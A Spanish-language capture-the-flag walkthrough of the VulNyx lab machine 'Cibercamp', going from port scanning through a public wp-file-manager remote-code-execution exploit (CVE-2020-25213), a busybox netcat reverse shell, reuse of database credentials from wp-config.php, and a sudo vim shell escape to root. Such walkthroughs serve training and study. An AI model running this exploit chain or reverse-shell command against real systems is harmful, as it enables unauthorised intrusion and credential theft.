Information

Cibercamp es una máquina virtual vulnerable Linux de dificultad fácil de la plataforma VulNyx, fue creada por el usuario EloyAlbiach y funciona correctamente en el hipervisor VirtualBox.


Enumeration

Nmap

TCP

root@kali:~  nmap -n -Pn -sS -p- --min-rate 5000 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:01 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00045s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http
root@kali:~  nmap -sVC -p22,80 192.168.1.84
Starting Nmap 7.99 ( https://nmap.org ) at 2026-06-01 11:02 +0200
Nmap scan report for 192.168.1.84
Host is up (0.00049s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a9:d0:ab:b6:b3:09:61:69:1d:74:66:09:fe:38:57:6e (ECDSA)
|_  256 68:c7:60:f7:52:c6:2b:94:dc:e1:f7:47:b6:3b:9c:43 (ED25519)
80/tcp open  http    Apache httpd 2.4.58 ((Ubuntu))
|_http-server-header: Apache/2.4.58 (Ubuntu)
|_http-generator: WordPress 5.4.19
|_http-title: cibercamp – La seguridad de tu empresa en las mejores ma...

Shell (www-data)

80/TCP (HTTP)

Stack

Tanto en el nmap inicial como al revisar las cabeceras HTTP (Headers), se observa la presencia de un CMS WordPress.

|_http-generator: WordPress 5.4.19
root@kali:~  curl -I "http://192.168.1.84/"
HTTP/1.1 200 OK
Date: Mon, 01 Jun 2026 09:08:45 GMT
Server: Apache/2.4.58 (Ubuntu)
Link: <http://iescamp.nyx/index.php/wp-json/>; rel="https://api.w.org/"
X-Developer-Note: Intranet local disponible en iescamp.local
Content-Type: text/html; charset=UTF-8

Site

La página no se renderiza correctamente debido a que intenta cargar las hojas de estilo desde el dominio iescamp.nyx.

Agrego el dominio iescamp.nyx a mi archivo /etc/hosts y ahora la página se muestra correctamente.

WordPress
Plugins

Mediante la herramienta wpscan, detecto un plugin llamado wp-file-manager.

root@kali:~  wpscan --url "http://iescamp.nyx" --plugins-detection aggressive --no-banner --disable-tls-checks

[+] wp-file-manager
 | Location: http://iescamp.nyx/wp-content/plugins/wp-file-manager/
 | Last Updated: 2026-04-21T12:53:00.000Z
 | Readme: http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
 | [!] The version is out of date, the latest version is 8.0.4
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/, status: 200
 |
 | Version: 6.0 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://iescamp.nyx/wp-content/plugins/wp-file-manager/readme.txt
CVE-2020-25213

Tras una búsqueda en internet, se identifica el siguiente exploit publicado en Exploit-DB relacionado con el plugin enumerado.

RCE

Consigo ejecutar comandos como el usuario www-data.

root@kali:~  wget -q --no-check-certificate "https://www.exploit-db.com/raw/51224"                                                                                                      
root@kali:~  python3 51224 "http://iescamp.nyx/" id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Reverse Shell

A partir de aquí, intento establecer una reverse shell para obtener acceso interactivo al sistema.

root@kali:~  python3 51224 "http://iescamp.nyx/" "busybox nc 192.168.1.5 443 -e /bin/sh"

Obtengo la shell como usuario www-data.

root@kali:~  nc -lvnp 443                       
listening on [any] 443 ...
connect to [192.168.1.5] from (UNKNOWN) [192.168.1.84] 34166
id ; hostname
uid=33(www-data) gid=33(www-data) groups=33(www-data)
cibercamp

Shell (wpuser)

Enumerate

Users

Enumero en el sistema un usuario interesante llamado wpuser.

www-data@cibercamp:/$ grep "sh$" /etc/passwd
root:x:0:0:root:/root:/bin/bash
administrador:x:1000:1000:administrador:/home/administrador:/bin/bash
wpuser:x:1001:1001:,,,:/home/wpuser:/bin/bash

Config Files

En el archivo wp-config.php encuentro las credenciales de conexión a MySQL.

www-data@cibercamp:/$ grep -iE "user|pass" /var/www/html/wordpress/wp-config.php | grep -v "*"
define( 'DB_USER', 'wpuser' );
define( 'DB_PASSWORD', 'passwordsuperseguroxx' );

Abuse

Credential Reuse

Me convierto en usuario wpuser mediante una reutilización de credenciales.

www-data@cibercamp:/$ su - wpuser
Password: 
wpuser@cibercamp:~$ id ; hostname
uid=1001(wpuser) gid=1001(wpuser) groups=1001(wpuser),100(users)
cibercamp

Privilege Escalation

Enumeration

Sudo

El usuario wpuser puede ejecutar como root el binario vim con sudo.

wpuser@cibercamp:~$ sudo -l
[sudo] password for wpuser: 
Matching Defaults entries for wpuser on cibercamp:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User wpuser may run the following commands on cibercamp:
    (ALL) /usr/bin/vim

Abuse

En GTFOBins nos dan la secuencia de shell-escape y me convierto en usuario root.

wpuser@cibercamp:~$ sudo -u root /usr/bin/vim -c ':!/bin/bash -i'
root@cibercamp:/home/wpuser# id ; hostname
uid=0(root) gid=0(root) groups=0(root)
cibercamp

Flags

Ya como usuario root puedo leer las flags user.txt y root.txt.

root@cibercamp:~# find / -name user.txt -o -name root.txt 2>/dev/null |xargs cat
bff*****************************
ebc*****************************

Hasta aquí la resolución de la máquina Cibercamp de VulNyx.

Happy Hacking! 🙂